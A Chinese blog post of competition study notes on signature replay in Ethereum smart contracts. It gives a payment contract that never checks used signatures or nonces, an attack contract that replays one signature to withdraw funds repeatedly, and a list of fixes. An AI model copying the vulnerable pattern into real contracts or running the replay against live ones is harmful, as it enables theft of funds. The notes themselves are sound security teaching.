Allureluoli 二月FEBRUARY

区块链国赛笔记 22|合约安全实验:签名重放与防护思路

把同一份签名重复使用,是理解重放问题最直接的实验。这里保留漏洞、攻击与修复片段,并提醒读者核对签名消息的组成。

本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。

阅读前先确认

防重放不能只看有没有 usedSignatures 变量;还要确认是否实际检查并更新,以及消息是否绑定 nonce、合约、链和业务参数。

重放攻击

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/**
* 存在重放漏洞的支付合约
* 攻击者可以重复使用已签名的交易来多次提取资金
*/
contract VulnerablePayment {
mapping(address => uint256) public balances;
mapping(bytes32 => bool) public usedSignatures;

address public owner;

constructor() {
owner = msg.sender;
}

// 存款函数
function deposit() external payable {
balances[msg.sender] += msg.value;
}

// 存在重放漏洞的提现函数
function withdraw(
uint256 amount,
uint256 nonce,
bytes memory signature
) external {
bytes32 messageHash = keccak256(abi.encodePacked(
msg.sender,
amount,
nonce,
address(this)
));

bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
messageHash
));

// 验证签名
address recovered = recoverSigner(ethSignedMessageHash, signature);
require(recovered == owner, "Invalid signature");

// 但没有检查nonce是否已被使用!
// 攻击者可以重复使用相同的签名数据

require(balances[msg.sender] >= amount, "Insufficient balance");

balances[msg.sender] -= amount;
payable(msg.sender).transfer(amount);
}

// 签名验证函数
function recoverSigner(
bytes32 ethSignedMessageHash,
bytes memory signature
) internal pure returns (address) {
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
return ecrecover(ethSignedMessageHash, v, r, s);
}

function splitSignature(bytes memory sig)
internal
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "Invalid signature length");

assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}

if (v < 27) v += 27;
require(v == 27 || v == 28, "Invalid signature version");
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IVulnerablePayment {
function withdraw(uint256 amount, uint256 nonce, bytes memory signature) external;
function deposit() external payable;
}

contract ReplayAttack {
IVulnerablePayment public vulnerableContract;
address public attacker;

constructor(address _vulnerableAddress) {
vulnerableContract = IVulnerablePayment(_vulnerableAddress);
attacker = msg.sender;
}

// 发起重放攻击
function executeReplayAttack(
uint256 amount,
uint256 nonce,
bytes memory signature
) external {
// 第一次合法调用
vulnerableContract.withdraw(amount, nonce, signature);

// 重放攻击 - 使用相同的签名数据再次调用
vulnerableContract.withdraw(amount, nonce, signature);

// 可以多次重放...
vulnerableContract.withdraw(amount, nonce, signature);
}

// 接收以太币
receive() external payable {}

// 提取攻击获得的资金
function withdrawFunds() external {
payable(attacker).transfer(address(this).balance);
}
}

攻击者只需获得一次有效的签名数据,就可以无限次重复执行交易,造成资金损失


fix

  1. 始终使用nonce机制:为每个交易生成唯一的nonce值
  2. 记录已使用的签名:使用mapping记录已使用的消息哈希
  3. 包含合约地址:在签名消息中包含合约地址,防止跨合约重放
  4. 使用时间戳:为签名添加有效期限制
  5. 定期更换签名密钥:减少长期有效的签名风险

复现时的自查

  • 记录自己实际使用的版本、配置和缺失依赖。
  • 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
  • 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。

返回系列导读 · 上一篇 · 下一篇

评论COMMENTS